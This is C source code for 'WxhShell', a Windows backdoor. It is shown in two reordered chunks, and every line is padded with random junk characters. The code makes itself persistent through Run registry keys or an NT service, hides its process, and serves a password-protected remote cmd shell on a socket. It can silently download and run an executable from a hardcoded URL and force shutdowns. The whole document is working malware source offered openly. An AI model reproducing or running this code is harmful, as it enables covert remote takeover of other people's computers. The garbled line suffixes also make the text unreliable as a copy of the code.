    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $r=Ud >  
    else { ` 5Qo*qx  
    closesocket(wsh); 4 p(KdYc  
    ExitThread(0); OW<5,h  
    } d<v>C-nk%  
    break; ]jS+ItL@  
    } k/#& ]8(  
  // 获取shell =w!14@W  
  case 's': { BqKh&m  
    CmdShell(wsh); C[O \aW  
    closesocket(wsh); :xT=uE.I  
    ExitThread(0); Ls^$E  
    break; =2eG j'}  
  } `cr.C|RT:  
  // 退出 S)*eAON9  
  case 'x': { Qy@r&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )#dP:  
    CloseIt(wsh); ^25[%aJI  
    break; ?qQRA|n*  
    } Y<S,Xr;J:  
  // 离开 @kLpK  
  case 'q': { ?9801Da#/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,Mwj`fgh  
    closesocket(wsh); $u9y H Z  
    WSACleanup(); <3>Ou(F  
    exit(1); xCV3HnZ  
    break; =ITMAC\  
        } <zK9J?ZQW>  
  } ,9f$a n  
  } @BN cIJk9  
q<b;xx  
  // 提示信息 (k..ll p~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /*lSpsBn  
} &6E^<v?]  
  } Gu:aSb  
"rr,P0lgX  
  return; |!)3[<.  
} (v^L2Po  
BS#@ehdig  
// shell模块句柄 f,Sybf/uHh  
int CmdShell(SOCKET sock) U:E:"  
{ 0%^m  
STARTUPINFO si; 4+`<'t]Q  
ZeroMemory(&si,sizeof(si)); +S:(cz80V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SL/ FMYdd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O(otI-Lc  
PROCESS_INFORMATION ProcessInfo; #IP<4"Hf  
char cmdline[]="cmd"; W<3nF5!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3L4lk8Dd  
  return 0; #{l+I( M  
} ?'h<yxu]u0  
4y+] V~p  
// 自身启动模式 *"Ipu"G5?  
int StartFromService(void) dQt*/]{q  
{ LRv-q{jP;  
typedef struct CBTa9|57  
{ q7wd96G:  
  DWORD ExitStatus; d]k >7.  
  DWORD PebBaseAddress; |YQ:4'^"  
  DWORD AffinityMask; VWG#v #o  
  DWORD BasePriority; %9=^#e+pE  
  ULONG UniqueProcessId; Au" [2cG  
  ULONG InheritedFromUniqueProcessId; x 1$tS#lS  
}   PROCESS_BASIC_INFORMATION; mD)_quz.sk  
oZ@_o3VG  
PROCNTQSIP NtQueryInformationProcess; Y2w 9]:J  
M*E4:A9_M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r$6z{Na\[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #oi4!%*M  
fdCsn:  
  HANDLE             hProcess; . c+RFX@0  
  PROCESS_BASIC_INFORMATION pbi; LeY\{w  
HT5G HkT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ])a?ri  
  if(NULL == hInst ) return 0; ]RQQg,|D  
A[ZJS   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _#e='~;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bI=\n)sEz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z1F[okLA  
S~ }?6/G.  
  if (!NtQueryInformationProcess) return 0; &S<tX]v  
<Dt,FWWkv'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s0.yPA  
  if(!hProcess) return 0; Hi9;i/  
RIM"MR9qe=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I, .`w/I+  
9+SeG\Th  
  CloseHandle(hProcess); TjlKy  
e0*',  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZV_Z)<  
if(hProcess==NULL) return 0; h&5H`CR[  
JMOQDo  
HMODULE hMod; g{f1JTJ7  
char procName[255]; ~c`@uGw  
unsigned long cbNeeded; ![:S~x1  
+?(2-RBd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n4ce)N@  
<<w $ Ur  
  CloseHandle(hProcess); t[F tIj6  
2:/'  
if(strstr(procName,"services")) return 1; // 以服务启动 M&y!w   
#=b_!~:%  
  return 0; // 注册表启动 ((Ec:(:c  
} rFn;z}J2  
gV!Eotq  
// 主模块 mhp5}  
int StartWxhshell(LPSTR lpCmdLine) <0R7uH  
{ ?'$=G4y&?  
  SOCKET wsl; P~i^V;g  
BOOL val=TRUE; < 7zyRm@S  
  int port=0; g^ ^%4Y  
  struct sockaddr_in door; fh )QX  
IJ o`O  
  if(wscfg.ws_autoins) Install(); ?a~=CC@  
PQXyu1  
port=atoi(lpCmdLine); [FC7+ Ey^  
7|T5N[3?l,  
if(port<=0) port=wscfg.ws_port; @C7S^|eo  
m^O:k"+!  
  WSADATA data; McxJ C<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _W]2~9  
.?_wcp=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N*lq)@smq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #2I[F  
  door.sin_family = AF_INET; (OYR, [*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6k42>e*p  
  door.sin_port = htons(port); Q{H88g^=J  
\h :Rw|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zo;@StN3}T  
closesocket(wsl); =1^Ru*G  
return 1; ~DPg):cZ  
} {j,bV6X  
q uv`~qn  
  if(listen(wsl,2) == INVALID_SOCKET) { bI@+Or  
closesocket(wsl); W]_+3qvZ  
return 1; LZM[Wg#  
} .ymR%X_k  
  Wxhshell(wsl); *2 4P T7  
  WSACleanup(); <jw`"L[D  
]BP/KCjAI<  
return 0; 3oxQ[.o  
X&^t 8  
} 5 & -fX:/  
eOD;@4lR  
// 以NT服务方式启动 }9:\#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }&rf'E9  
{ fbwo2qe@K  
DWORD   status = 0; 6}x^ T)R  
  DWORD   specificError = 0xfffffff; `wB(J%w  
sryujb.,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0UWLs_k:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W}WGg|ug  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )+oDa{dZ  
  serviceStatus.dwWin32ExitCode     = 0; 1 < <`T%&  
  serviceStatus.dwServiceSpecificExitCode = 0; /Rx%}~x/m  
  serviceStatus.dwCheckPoint       = 0; t{!}^{ "5  
  serviceStatus.dwWaitHint       = 0; emw3cQ  
/.$n>:XR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @6 gA4h  
  if (hServiceStatusHandle==0) return; N ^h,[  
z mrk`o~  
status = GetLastError(); =:6Y<ftC  
  if (status!=NO_ERROR) &]pW##  
{ TxN#3m?G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A:p7\Kp;5}  
    serviceStatus.dwCheckPoint       = 0; 5^GUuFt5m  
    serviceStatus.dwWaitHint       = 0; H=Yl @  
    serviceStatus.dwWin32ExitCode     = status; 5$GE3IER8  
    serviceStatus.dwServiceSpecificExitCode = specificError; u+[ZWhKUp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rA8neO)  
    return; = Yh>5A  
  } ^z9ITGB~tV  
l0tMdsz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h k(2,z  
  serviceStatus.dwCheckPoint       = 0; 3UD_2[aqN(  
  serviceStatus.dwWaitHint       = 0; f Nm Sx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c(ZkK  
} ( y2%G=.j  
`"zX<  
// 处理NT服务事件,比如:启动、停止 XdLB1H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1U@qR U  
{ F{]dq/{  
switch(fdwControl) Z\(+awv  
{ c pgHF`nt  
case SERVICE_CONTROL_STOP: ~6kEpa  
  serviceStatus.dwWin32ExitCode = 0; R7ZxS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !(uyqplTk  
  serviceStatus.dwCheckPoint   = 0; )3'/g`c  
  serviceStatus.dwWaitHint     = 0; w;}P<K  
  { ztgSd8GGE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yew9bn0a=  
  } B\KvKT|\  
  return; , YTuZS  
case SERVICE_CONTROL_PAUSE: `Kpn@Xg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Sw%=/g  
  break; SL pd~ZC?  
case SERVICE_CONTROL_CONTINUE: *;Hvx32I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7$Bq.Lc#z  
  break; ="d}:Jl  
case SERVICE_CONTROL_INTERROGATE: ) (PA:j  
  break; -zN*2T  
}; #&1mc_`/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fk#SD "iJ  
} z1T.\mzfX  
p8%x@%k  
// 标准应用程序主函数 nI|jUD +y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <[8at6;  
{ jGb+bN5U7  
qI^6}PB  
// 获取操作系统版本 3"6lPUS  
OsIsNt=GetOsVer(); X*]uLgbl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +sQ=Uw#e  
"sUL"i  
  // 从命令行安装 #J)sz,)(  
  if(strpbrk(lpCmdLine,"iI")) Install(); \a<qI  
\gDf&I  
  // 下载执行文件 jC@$D*"J  
if(wscfg.ws_downexe) { &]ts*qCEL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]6GdB3?UVM  
  WinExec(wscfg.ws_filenam,SW_HIDE); &Jk0SUk MP  
} 8JJqEkQ  
] 8+!  
if(!OsIsNt) { 2?z3s|+[  
// 如果时win9x,隐藏进程并且设置为注册表启动 L'H'E,  
HideProc(); 52C>f6w  
StartWxhshell(lpCmdLine); `rbTB3?  
} 7xO =:*  
else M// q7SHh  
  if(StartFromService()) kHo0I8  
  // 以服务方式启动 )_,*2|b  
  StartServiceCtrlDispatcher(DispatchTable); Nm\0>}  
else ,gUSW  
  // 普通方式启动 &UEr4RK;I  
  StartWxhshell(lpCmdLine); c] $X+  
}XX)U_ x  
return 0; CDK0 $W n  
} ;v^tUyhCb  
1 }Tbp_  
+ Hc[5WL  
;;2XLkWu  
=========================================== 5qt]~v%y  
zFN:C()ig  
mHM38T9C%  
b" 1a7   
FF0N{bY  
3yszf Wr  
" D\}^<HW  
K9njD#/  
#include <stdio.h> *Cz>r}W  
#include <string.h> /a [i:Oa#  
#include <windows.h> %nSm 32/t3  
#include <winsock2.h> ;ug& v C  
#include <winsvc.h> T4]/w|?G  
#include <urlmon.h> Xx~OZ^t&Vn  
hxP%m4xF +  
#pragma comment (lib, "Ws2_32.lib") 5k)QjZo  
#pragma comment (lib, "urlmon.lib") a:r8Jzr  
4c_TrNwP  
#define MAX_USER   100 // 最大客户端连接数 V: fz  
#define BUF_SOCK   200 // sock buffer =ps3=D  
#define KEY_BUFF   255 // 输入 buffer 9.{u2a\  
({v$!AAv  
#define REBOOT     0   // 重启 P(l$5x]g,  
#define SHUTDOWN   1   // 关机 B5GT^DaT  
JF!JY( U,  
#define DEF_PORT   5000 // 监听端口 Ew5(U`]  
j1Fy'os"!  
#define REG_LEN     16   // 注册表键长度 b|^g51v  
#define SVC_LEN     80   // NT服务名长度 umaF}}-Q{  
Dq/_^a/1  
// 从dll定义API )a AKO`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -*~ = 4m<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dt%G v0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \T `InBbf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |_"JyGR2  
>v7fR<(%s  
// wxhshell配置信息 5^<X:1J$  
struct WSCFG { EiQX* v  
  int ws_port;         // 监听端口 9utiev~3  
  char ws_passstr[REG_LEN]; // 口令 ![h+ R@_(  
  int ws_autoins;       // 安装标记, 1=yes 0=no {;4Y5kj  
  char ws_regname[REG_LEN]; // 注册表键名 )e(Rf!P{  
  char ws_svcname[REG_LEN]; // 服务名 UbNA|`H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jfP2n5X83  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \3JZ =/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &_Ze@Ir-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3=5K7 F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K+ZJSfO6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dw#K!,g  
#?\$*@O  
}; $M{MOehZ  
Xb?:dlu3  
// default Wxhshell configuration tS!Fn Qg4  
struct WSCFG wscfg={DEF_PORT, Veo*-sl  
    "xuhuanlingzhe", [EI~/#;  
    1, !m"LIa#/Cs  
    "Wxhshell", \X.CYkgK  
    "Wxhshell", a\;1%2a  
            "WxhShell Service", ZG[P?fM  
    "Wrsky Windows CmdShell Service", 8mjPa^A  
    "Please Input Your Password: ", v%v(-, _q  
  1, '#RzX8|v<  
  "http://www.wrsky.com/wxhshell.exe", K2$ fKju  
  "Wxhshell.exe" kW#,o9f\  
    }; #hG0{_d7  
1N6.r:wg)%  
// 消息定义模块 h DpIwzJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7=i8$v&GX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YXz*B5R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K.)ionb  
char *msg_ws_ext="\n\rExit."; uu ahR  
char *msg_ws_end="\n\rQuit."; jr[(g:L   
char *msg_ws_boot="\n\rReboot..."; 5&?[ Vt  
char *msg_ws_poff="\n\rShutdown..."; [Jv0^"]  
char *msg_ws_down="\n\rSave to "; "yaz!?O>  
O AJGwm  
char *msg_ws_err="\n\rErr!"; rQmDpoy=  
char *msg_ws_ok="\n\rOK!"; gZA[Sq  
sB!#`kh  
char ExeFile[MAX_PATH]; L7i2is  
int nUser = 0; ;iT@41)7  
HANDLE handles[MAX_USER]; v: \8  
int OsIsNt; 4/KGrY! ck  
KuBN_bd  
SERVICE_STATUS       serviceStatus; 4'3do>!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; loRT+u$&  
H<_BnT #  
// 函数声明 dbn9t7'{  
int Install(void); `9;0Y  
int Uninstall(void); LLyw9y1  
int DownloadFile(char *sURL, SOCKET wsh); %+ln_lgD:  
int Boot(int flag); ot\  FZ  
void HideProc(void); ;f;A"  
int GetOsVer(void); q4u,pm,@  
int Wxhshell(SOCKET wsl); m=Mb'<  
void TalkWithClient(void *cs); a8 X}r.  
int CmdShell(SOCKET sock); e"}JHXs  
int StartFromService(void); ba5,?FVI~  
int StartWxhshell(LPSTR lpCmdLine); o\/&05rp]  
 NOY`1i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k=]#)A(#C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -M]B;[^  
$Lj~ge3#  
// 数据结构和表定义 >+ ,w2m@0  
SERVICE_TABLE_ENTRY DispatchTable[] = uqz HS>GM  
{ rU6F$I=  
{wscfg.ws_svcname, NTServiceMain}, C@x\ZG5rA  
{NULL, NULL} gB7kb$J  
}; BF^dNgn+%K  
MzEeDN  
// 自我安装 YnR8mVo5Q  
int Install(void) q+iG:B/Z  
{ k1lo{jw`  
  char svExeFile[MAX_PATH]; 5Zf^cou  
  HKEY key; B":9C'tip  
  strcpy(svExeFile,ExeFile); 26M:D&|ZB  
aE|'%72g  
// 如果是win9x系统,修改注册表设为自启动 TxJoN]Z.  
if(!OsIsNt) { 0Q7teXRM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( p(/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yMG(FAyu  
  RegCloseKey(key); z*V 8l*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { su$IXI#R-&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q};n%&n&  
  RegCloseKey(key); fe!eZiE  
  return 0; '/OcJVSR  
    } J\@|c.ws  
  } 4nsc`Hu  
} ]ilQq~X  
else { 1.9bU/X  
(@DqKB  
// 如果是NT以上系统,安装为系统服务 !S.O~Kq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,(u-q]8   
if (schSCManager!=0) ]?< wUd  
{ O]4v\~@-j  
  SC_HANDLE schService = CreateService v)p'0F#6A  
  ( ol0i^d*9F  
  schSCManager, ^ps6\>=0cW  
  wscfg.ws_svcname, &Fiesi!tET  
  wscfg.ws_svcdisp, W [*Go  
  SERVICE_ALL_ACCESS, Ln'y 3~@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,.kJF4s&  
  SERVICE_AUTO_START, U[0x\~[$K  
  SERVICE_ERROR_NORMAL, |,bP` Z  
  svExeFile, &\>=4)HB;  
  NULL, {MRXK nm;e  
  NULL, m?< ^b_a}  
  NULL, ~8 B]  
  NULL, f+ cN'jH E  
  NULL 3"BSP3/ [l  
  ); ~'V&[]nh8  
  if (schService!=0) 0 k.\o"y  
  { >D jJ*vM  
  CloseServiceHandle(schService); E2xK GK   
  CloseServiceHandle(schSCManager); PglSQ2P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <4LW.q  
  strcat(svExeFile,wscfg.ws_svcname); F?z:[1(:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $7QGi|W*k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l k sNy  
  RegCloseKey(key); lfAiW;giJ  
  return 0; TU6(Q,Yi|  
    } mtg=v@~  
  } $@D*/@  
  CloseServiceHandle(schSCManager); wBWqibY|  
} vbD""  
} m#$$xG  
?8w5tfN6t  
return 1; `h|Y0x  
} cP",szcY  
Dm@h'*  
// 自我卸载 Z0/$XS9|h;  
int Uninstall(void) |KR8=-!7  
{ lak,lDt]  
  HKEY key; %[4u #G`  
 >akC  
if(!OsIsNt) { ur:8`+" (  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y6dQ4Whv&  
  RegDeleteValue(key,wscfg.ws_regname); iT;Ld $!{f  
  RegCloseKey(key); +7Uv|LZ~@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  0ij YE  
  RegDeleteValue(key,wscfg.ws_regname); %aI,K0\  
  RegCloseKey(key); i zYC0T9  
  return 0; ken.#>w  
  } SiYH@Wma  
} P L7(0b%  
} QuP)j1"X  
else { Z2L7US -  
MQQQaD:v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NEUr w/  
if (schSCManager!=0) e^<'H  
{ gyQPQ;"H$2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !4a#);`G  
  if (schService!=0) S"VO@)d  
  { G|*&owJ  
  if(DeleteService(schService)!=0) { 67;6nXG0K  
  CloseServiceHandle(schService); l^XOW- ;u  
  CloseServiceHandle(schSCManager); No8-Hm  
  return 0; d A'0'M  
  } Bq;GO  
  CloseServiceHandle(schService); d[{!^,%x"  
  }  ZC%;5O`  
  CloseServiceHandle(schSCManager); o!ZG@k?#  
} PqIskv+  
} bU/4KZ'-^  
BoQ%QV69%  
return 1; J )^F  
} 9[`c"Pd  
Lu~E5 ,  
// 从指定url下载文件 6g\hQ\+Z}  
int DownloadFile(char *sURL, SOCKET wsh) $|g ;  
{ HOx+umjxW  
  HRESULT hr; Q5hOVD%  
char seps[]= "/"; jJaMkF;f  
char *token; bsm/y+R  
char *file; P:_bF>r ?  
char myURL[MAX_PATH]; 0K6My4d{  
char myFILE[MAX_PATH]; r7sA;Y\  
Q_Br{ `c  
strcpy(myURL,sURL); M KX+'p\w  
  token=strtok(myURL,seps); LzJ`@0RrX  
  while(token!=NULL) s q;!5qK  
  { S[gACEZ =  
    file=token; 3~Lsa"/  
  token=strtok(NULL,seps); c5|sda{  
  } |g >Q3E  
)+"5($~  
GetCurrentDirectory(MAX_PATH,myFILE); aM xd"cTzx  
strcat(myFILE, "\\"); ?K;l 5$?%  
strcat(myFILE, file); jU kxA7 }}  
  send(wsh,myFILE,strlen(myFILE),0); 1l/t|M^I  
send(wsh,"...",3,0); W mbIz[un  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '=O1n H<  
  if(hr==S_OK) 8{]nS8i  
return 0; @ze2'56F}  
else Q lA?dXQ  
return 1; 5 HsF#  
J>k 6`gw  
} aNs8T`  
j74hWz+p4  
// 系统电源模块 Q% d1O  
int Boot(int flag) m[(_fOd  
{ 6:L2oW 6}{  
  HANDLE hToken; :<s`)  
  TOKEN_PRIVILEGES tkp; ok [_Z;  
yf;TIh%)=  
  if(OsIsNt) { ahIDKvJ4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ij|>hQC5i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w[D]\>QHa  
    tkp.PrivilegeCount = 1; p!~1~q6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D)pTE?@W'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >_xuXEslUz  
if(flag==REBOOT) { YF-A8gXS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TpwN2 =  
  return 0; ";7xE#jRk  
} !yVY[  
else { u}%6=V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !Vg=l[  
  return 0; 3z, Ci$[  
} $qr6LIKGw  
  } ZjMnGRP  
  else { |` ?&  
if(flag==REBOOT) { %$kd`Rl}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }vh4ix  
  return 0; q*4U2_^.  
} \ {]y(GT  
else { (5E09K$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?pfr^ !@$  
  return 0; _9t1 aP5  
} XXhN; -p  
} n-xdyJD  
_'ebXrbZB  
return 1; <&3aP}  
} ez!W0  
Zhv%mUj~  
// win9x进程隐藏模块 -|^)8  
void HideProc(void) GA$fueiQNs  
{ a;^lOU|L{  
g`Cv[Pq?at  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $/|) ,n  
  if ( hKernel != NULL ) HzKY2F(,  
  { "oNl!<ep  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UKZ )Boo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z6l'v~\  
    FreeLibrary(hKernel); 8PH4v\tJEK  
  } mNacLkh[  
0ug&HEl_w  
return; pqb`g@  
} |,5|ZpgL  
oQ,<Yx%E3  
// 获取操作系统版本 v*qbzW`  
int GetOsVer(void) -aVC`  
{ })P!7t  
  OSVERSIONINFO winfo; )gSqO{Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DpvHIE:W  
  GetVersionEx(&winfo); d"miPR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %7}j|eS)G  
  return 1; 9]w?mHslE  
  else "f_qG2A{  
  return 0; K)wWqC.  
} TEY~E*=}$  
X?[ )e  
// 客户端句柄模块 CYQ)'v  
int Wxhshell(SOCKET wsl) G%: 3.:E"  
{ (YYg-@IO  
  SOCKET wsh; GVJ||0D  
  struct sockaddr_in client; ;Su-Y!&%  
  DWORD myID; W[*xr{0V  
\.O&-oi  
  while(nUser<MAX_USER) Wh| T3&  
{ /z4c>)fV  
  int nSize=sizeof(client); Y8]@y0(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2vLun   
  if(wsh==INVALID_SOCKET) return 1; 72"H#dy%U  
;h+~xxu=X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [RN]?,  
if(handles[nUser]==0) 5|*`} ;/y  
  closesocket(wsh); N'9T*&o+  
else z8awND  
  nUser++; aK - x{  
  } C$PS@4'U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'UWkJ2:!  
RU4X#gP4Vh  
  return 0; (@5`beEd  
} (^y"'B  
OVDuF&0  
// 关闭 socket oV0 45G  
void CloseIt(SOCKET wsh) 65qqs|&w;[  
{ _Iav2= 0Wi  
closesocket(wsh); } v:YSG  
nUser--; Zs=A<[  
ExitThread(0); NT.#U?9c  
} &xN+a{&  
QJ4$) Fr(  
// 客户端请求句柄 `3i>e<m~  
void TalkWithClient(void *cs) $1|E(d1  
{ ~Ay)kv;  
}URdoTOvb  
  SOCKET wsh=(SOCKET)cs; EG3,TuDH8  
  char pwd[SVC_LEN]; Rh|9F yN  
  char cmd[KEY_BUFF]; j\~,Gtn>Z  
char chr[1]; G Ixs>E'X  
int i,j; 0LH6G[  
wCNn/%C  
  while (nUser < MAX_USER) { I ]ZZN6"  
r5S/lp+Y+N  
if(wscfg.ws_passstr) { ;Go^)bN ;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S\8v)|Pr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^gvTc+|  
  //ZeroMemory(pwd,KEY_BUFF); zU ~ Ff"<  
      i=0; 2vjkThh`I  
  while(i<SVC_LEN) { ?#=xx.cF  
.waw=C  
  // 设置超时 'Tjvq%ks   
  fd_set FdRead; Ld}?daPj  
  struct timeval TimeOut; sb{K%xi%  
  FD_ZERO(&FdRead); zG6l8%q'UE  
  FD_SET(wsh,&FdRead); !9_(y~g{N  
  TimeOut.tv_sec=8; "4\  
  TimeOut.tv_usec=0; 7[;!enO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); { sC Ni  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mW%8`$rVEO  
F6[F~^9D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uW!XzX['  
  pwd=chr[0]; MmjZq  
  if(chr[0]==0xd || chr[0]==0xa) { e6j1Fa9  
  pwd=0; #Z2 'Y[@.  
  break; ?QT6q]|d0+  
  } w/m@(EBK  
  i++; =eQB-Xe8Y  
    } N:| :L:<1  
~h3G}EH  
  // 如果是非法用户,关闭 socket _P qq*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uw.')ZY=  
} Z5 IWoY  
bKCE;Wu:G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MZ,1mR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b`#YJpA  
,7&\jET5^0  
while(1) { T[|#DMg$F  
Qs,\P^n  
  ZeroMemory(cmd,KEY_BUFF); BjvQ6M{Y"+  
3?*d v14  
      // 自动支持客户端 telnet标准   2 3PRb<q  
  j=0; -|m3=#  
  while(j<KEY_BUFF) { JK =A=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #!R>`l(S  
  cmd[j]=chr[0]; }b(h D|e  
  if(chr[0]==0xa || chr[0]==0xd) { Th9V8Rg+E  
  cmd[j]=0; JfN5#+_i  
  break; !t23 _b0  
  } ,]2?S5R  
  j++; =){ G  
    } uxU-N  
cWkg.ri-x  
  // 下载文件 dRJ ](Gw  
  if(strstr(cmd,"http://")) { 'OtT q8G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fAULuF  
  if(DownloadFile(cmd,wsh)) 4<#ItQ(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i86:@/4~F  
  else F5Xb_&   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X#&5?oq`  
  } kzRvLs4xM  
  else { 4@-tT;$  
_R ii19k  
    switch(cmd[0]) { k-|g  
  \ =hg^j  
